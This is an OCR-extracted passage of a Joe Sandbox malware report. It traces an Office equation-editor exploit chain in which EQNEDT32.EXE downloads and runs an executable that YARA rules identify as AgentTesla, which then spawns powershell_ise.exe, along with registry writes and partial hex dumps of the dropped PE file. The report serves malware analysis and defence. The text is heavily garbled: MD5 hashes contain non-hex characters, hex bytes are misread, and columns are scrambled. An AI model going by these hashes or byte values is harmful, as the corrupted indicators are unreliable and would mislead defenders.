Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path
HKEY_CURRENT_USER\Softwar

e\Microsoft\Office\14.0\Excel\Resil
iency\Startupltems

Key Path

Name

Type

binary

Old Data

Completion

Data

61 3C 2F 00 90 0B 00 00 02 00 00 00
00 00 00 00 66 00 00 00 01 00 00 00

32 00 00 00 28 00 00 00 63 00 6F 00

6E 00 74 00 72 00 61 00 63 00 74 00
20 00 2D 00 20 00 77 00 69 00 70 00
61 00 6B 00 20 00 6F 00 79 00 2E 00
78 00 6C 00 73 00 78 00 00 00 63 00
6F 00 6E 00 74 00 72 00 61 00 63 00
74 00 20 00 2D 00 20 00 77 00 69 00
70 00 61 00 6B 00 20 00 6F 00 79 00

00 00

New Data

Analysis Process: EQNEDT32.EXE PID: 2244, Parent PID: 576

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities
File Created
File Path

C:\Users\user

2
11:41:53
05/08/2022

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

true

success or wait

Completion

success or wait

Completion

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

0x400000
543304 bytes

A87236E214F6D42A65FSDEDAC816AECS

true

true

Visual Basic

high

C:\Users\user\AppData\Local

Copyright Joe Security LLC 2022

Access

read data or list

directory |
synchronize

read data or list

directory |
synchronize

Attributes

device | sparse
file

device | sparse
file

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

object name collision

object name collision

Count Source Address Symbol
1 6E1E0648 unknown
Count Source Address Symbol
1 6E1E0648 unknown
Source
Count Address Symbol
Count Source Address Symbol
1 38A8C00 URLDownloa
dToFilew
1 38A8C00 URLDownloa
dToFilew
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\

Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Roaming\
jhghyftvgyjhjhgjhjhggfresewdxr
cnvfhgfhggfrtreaebvenbne.exe

File Written
File Path Offset
C:\Users\user\AppData\Local\Mi 0

crosoft\Windows\Temporary Internet
Files\Content.|ES\ZAE7TRW1
P\qGTGx[1].exe

Copyright Joe Security LLC 2022

Access

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read data or list
directory | file
synchronize

read attributes |
synchronize | file
generic write

Length Value

7971

4d 5a fd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4¢ 01 03 00 1b fd
fd 62 00 00 00 00 00 00
00 00 fd 00 02 01 Ob 01
0Ob 00 00 18 00 00 00 08
00 00 00 00 00 00 fd 37
00 00 00 20 00 00 00 40
00 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 fd
00 00 00 02 00 00 00 00
00 00 02 00 40 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 10 00 00 00 00 00
00 00 00 00 00

Attributes

device | sparse

device | sparse

device | sparse

device | sparse

device | sparse

device | sparse

device | sparse

device | sparse

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Ascii

MZ@!L!This program
cannot be run in DOS
mode.$PELb7 @@ @

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

success or wait

Completion

success or wait

Count

Source Address

38A8C00

38A8C00

38A8C00

38A8C00

38A8C00

38A8C00

38A8C00

38A8C00

Count Source Address

38A8C00

Symbol

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

URLDownloa
dToFilew

Symbol

URLDownloadTo
Filew
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.IES\ZAE7TRW1
P\gGTGx[1].exe

C:\Users\user\AppData\Roaming\
jhghyftvgyjhjhgjhjhggfresewdxr
cnvfhgfhggfrtreaebvenbnc.exe

File Path

Registry Activities
Key Created
Key Path

Offset

7971

0

Length Value

733

8704

65 76 65 6¢ 20 6¢ 65 76
65 6¢ 3d 22 61 73 49 6e
76 6f 6b 65 72 22 20 75
69 41 63 63 65 73 73 3d
22 66 61 6¢ 73 65 22 2f

3e 0d 0a 20 20 20 20 20
20 3c 2f 72 65 71 75 65

7374 656450 72 69 76
69 6¢ 65 67 65 73 3e 0d
0a 20 20 20 20 3c 2f 73

6563757269 74 79 3e
0d 0a 20 20 3c 2f 74 72

75 73 74 49 6e 66 6f 3e

0d 0Oa 3c 2f 61 73 73 65

6d 62 6¢ 79 3e 0d Oa 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 30 00
00 Oc 00 00 00 fd 37 00

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

4d 5a fd 00 03 00 00 00

Ascii Completion Count Source Address

evel level="asInvoker" success or wait 1 38A8C00
uiAccess="false"/>

</requestedPrivileges>

</security> </trustinfo>

</assembly>07

MZ@!L!This program success or wait 1 38A8C00

04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe

1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73

207072 6f 67 72 61 6d

20 63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f

64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 03 00 1b fd

fd 62 00 00 00 00 00 00

00 00 fd 00 02 01 Ob 01
0Ob 00 00 18 00 00 00 08
00 00 00 00 00 00 fd 37

00 00 00 20 00 00 00 40
00 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 fd

00 00 00 02 00 00 00 00
00 00 02 00 40 fd 00 00

10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 10 00 00 00 00 00
00 00 00 00 00

Offset

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options

Key Path Name

Copyright Joe Security LLC 2022

Type

Old Data

mode.$PELb7 @@ @

Length Completion Count Source Address
Completion Count Source Address
success or wait 1 41369F
success or wait 1 41369F
success or wait 1 41369F

New Data Completion Count IR
¥ Address

Symbol

URLDownloadTo
Filew

URLDownloadTo
Filew

Symbol

Symbol

RegCreateKeyEx
A

RegCreateKeyEx
A

RegCreateKeyEx
A

Symbol
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Analysis Process: jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvcnbnc.exe PiD: 2912, Parent PID: 2244

General

Target ID: 5

Start time: 11:42:00

Start date: 05/08/2022

Path: C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvcnbnc.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvcnbnc.exe
Imagebase: 0xff0000

File size: 8704 bytes

MDS5 hash: 6D370555D43F89189867FD72222C6059

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000005.00000002.1010469856.000000000349E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000005.00000002.1010469856.000000000349E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source:
00000005.00000002.1010469856.000000000349E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
o Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000005.00000002.1010395589.0000000003429000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000005.00000002.1010395589.0000000003429000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source:
00000005.00000002.1010395589.0000000003429000.00000004.00000800.00020000.00000000.sdmp, Author: unknown

Antivirus matches: e Detection: 100%, Joe Sandbox ML

Reputation: low

File Activities

File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4095 success or wait 1 6DB57995 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6DB57995 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\7582 unknown 176 success or wait 1 6DA6DE2C ReadFile
400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Activi unknown 2256 success or wait 1 6DAGDE2C ReadFile
ties\5a02922c5afc3ae5516332677f63e95System.Activities.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DB5A1A4 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Window unknown 1720 success or wait 1 6DAGDE2C ReadFile
s.Forms\fb06ad4bc55b9c3ca68a3f9259d826cd\System.Windows.Form

s.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\lbe7al unknown 620 success or wait 1 6DA6DE2C ReadFile
5b1f33bf22e4f53aaf45518c77\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Drawin unknown 584 success or wait 1 6DAGDE2C ReadFile
g\1d52bd4ac5e0a6422058a5d62c9f6d9d\System.Drawing.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DA6DE2C ReadFile
uration\fe4b221b4109f0c78f57a792500699b5\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\e unknown 900 success or wait 1 6DA6DE2C ReadFile
b4ccadf06a15158c3f7e2c56516729b\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\4f unknown 748 success or wait 1 6DA6DE2C ReadFile
bda26d781323081b45526da6e87b35\System.Xml.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CB5B2B3 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CB5B2B3 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.V99 unknown 1708 success or wait 1 6DA6DE2C ReadFile
21e851#\4fc035341c55c61ce51e53d179d1e19d\Microsoft. VisualBas

ic.ni.dll.aux

Registry Activities

Key Created

Key Path Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Tracing\jhghyftvgyjhjhgjhjhggfresewdxrcn success or wait 1 6BF6AD76 unknown

vfhgfhggfrtreaebvenbnc_RASAPI32
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Key Value Created

Key Path Name Type Data Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\SOFT  EnableFileTraci dword 0 success or wait 1 6BF6AD76 unknown
WARE\Wo ng

w6432Node\Microsoft\Tracing\jh
ghyftvgyjhjhgjhjhggfresewdxrcn
vfhgfhggfrtreaebvenbnc_RASAPI3

2
HKEY_LOCAL_MACHINE\SOFT  EnableConsoleT dword 0 success or wait 1 6BF6AD76 unknown
WARE\Wo racing

w6432Node\Microsoft\Tracing\jh
ghyftvgyjhjhgjhjhggfresewdxrcn
vfhgfhggfrtreaebvenbnc_RASAPI3
2

HKEY_LOCAL_MACHINE\SOFT  FileTracingMask dword -65536 success or wait 1 6BF6AD76 unknown
WARE\Wo

w6432Node\Microsoft\Tracing\jh

ghyftvgyjhjhgjhjhggfresewdxrcn

vfhgfhggfrtreaebvenbnc_RASAPI3

2
HKEY_LOCAL_MACHINE\SOFT  ConsoleTracing dword -65536 success or wait 1 6BF6AD76 unknown
WARE\Wo Mask

w6432Node\Microsoft\Tracing\jh
ghyftvgyjhjhgjhjhggfresewdxrcn
vfhgfhggfrtreaebvenbnc_RASAPI3
2

HKEY_LOCAL_MACHINE\SOFT  MaxFileSize dword 1048576 success or wait 1 6BF6AD76 unknown
WARE\Wo

w6432Node\Microsoft\Tracing\jh

ghyftvgyjhjhgjhjhggfresewdxrcn

vfhgfhggfrtreaebvenbnc_RASAPI3

2

HKEY_LOCAL_MACHINE\SOFT  FileDirectory expand unicode  %windir%\tracing success or wait 1 6BF6AD76 unknown
WARE\Wo

w6432Node\Microsoft\Tracing\jh

ghyftvgyjhjhgjhjhggfresewdxrcn

vfhgfhggfrtreaebvenbnc_RASAPI3

2

Analysis Process: powershell_ise.exe PID: 304, Parent PID: 2912

General

Target ID: 6

Start time: 11:42:05

Start date: 05/08/2022

Path: C:\Windows\SyswOW64\WindowsPowerShell\v1.0\powershell_ise.exe

Wow64 process (32bit): true

Commandline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
Imagebase: 0x960000

File size: 204800 bytes

MDS5 hash: B3CC5F3514BF58EE55153795CF183754

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000006.00000000.1005349570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000006.00000000.1005349570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source:

00000006.00000000.1005349570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine unknown 4095 success or wait 1 T443A4FC unknown
.config
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File Path Offset Length
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 6304
.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4095
.config

C:\Windows\assembIy\GAC_MSIL\System\2.0.0.0__b77a5c561934e08 unknown 4096
9\System.dll

C:\Windows\assembIy\GAC_MSIL\System\2.0.0.0__b77a5c561934e08 unknown 512
9\System.dll

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe unknown 4096
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe unknown 512
Analysis Process: dw20.exe PID: 676, Parent PID: 304

General

Target ID: 7

Start time: 11:42:07

Start date: 05/08/2022

Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

Wow64 process (32bit): true

Commandline: dw20.exe -x -s 536

Imagebase: 0x10000000

File size: 33936 bytes

MD5 hash: FBA78261A16C65FA44145613E3669E6GE

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options
File Path

File Path Offset Length Value Ascii

File Path Offset Length
Disassembly

@ No disassembly
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Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

Completion

Completion

Completion

Count Source Address

3 T443A4FC
1 7443D6F0
1 74474496
1 74474496
1 74474496
1 74474496

Count Source Address

Count Source Address

Count Source Address

Count Source Address

Symbol

unknown

ReadFile

unknown

unknown

unknown

unknown

Symbol

Symbol

Symbol

Symbol
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